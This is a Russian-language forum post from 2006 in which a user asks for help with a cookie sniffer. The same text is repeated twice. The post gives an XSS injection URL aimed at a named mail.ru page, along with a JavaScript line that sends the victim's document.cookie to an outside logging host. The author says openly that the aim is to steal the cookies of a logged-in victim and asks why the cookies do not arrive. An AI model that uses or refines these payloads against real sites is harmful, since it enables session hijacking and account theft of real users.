Kvai
30.06.2006, 20:39
У меня вопрос про сниффер на antichat.org/s/NIK.gif
Сколько раз не пробывал использовать сниффер, но ничего не получается, то есть логи приходят, но куки в них не складывает. Пользуюсь Opera, но для проверки использовал IE. То же самое. Приходит лог с содержимым:
Запрос неизвестно откуда
(30.06.2006 20:06)
IP: 83.237.203.238
QUERY:
REFERER:
AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50
Пробывал посылать закодированную прямую ссылку сниффера на почту в виде гиперссылки, пробывал использовать xss - и в уязвимом сайте вставлял скрипт:
http://astral.mail.ru/numer.php?mode=9&cnum=<srcipt src="http://site.ru/xss.js"></script>
А сам скрипт выглядел так:
img = new Image(); img.src = "http://antichat.org/s/NIK.gif?"+document.cookie;
К сажалению куки не приходят не с одного сайта на котором авторизованна жертва.
Если у кого есть какие идеи просьба поделиться. За ранее благодарен.
зы)
Хотел оставить мессагу в уже существующей теме: "Вопрос про сниффер" но тема уже close :(
Сколько раз не пробывал использовать сниффер, но ничего не получается, то есть логи приходят, но куки в них не складывает. Пользуюсь Opera, но для проверки использовал IE. То же самое. Приходит лог с содержимым:
Запрос неизвестно откуда
(30.06.2006 20:06)
IP: 83.237.203.238
QUERY:
REFERER:
AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50
Пробывал посылать закодированную прямую ссылку сниффера на почту в виде гиперссылки, пробывал использовать xss - и в уязвимом сайте вставлял скрипт:
http://astral.mail.ru/numer.php?mode=9&cnum=<srcipt src="http://site.ru/xss.js"></script>
А сам скрипт выглядел так:
img = new Image(); img.src = "http://antichat.org/s/NIK.gif?"+document.cookie;
К сажалению куки не приходят не с одного сайта на котором авторизованна жертва.
Если у кого есть какие идеи просьба поделиться. За ранее благодарен.
зы)
Хотел оставить мессагу в уже существующей теме: "Вопрос про сниффер" но тема уже close :(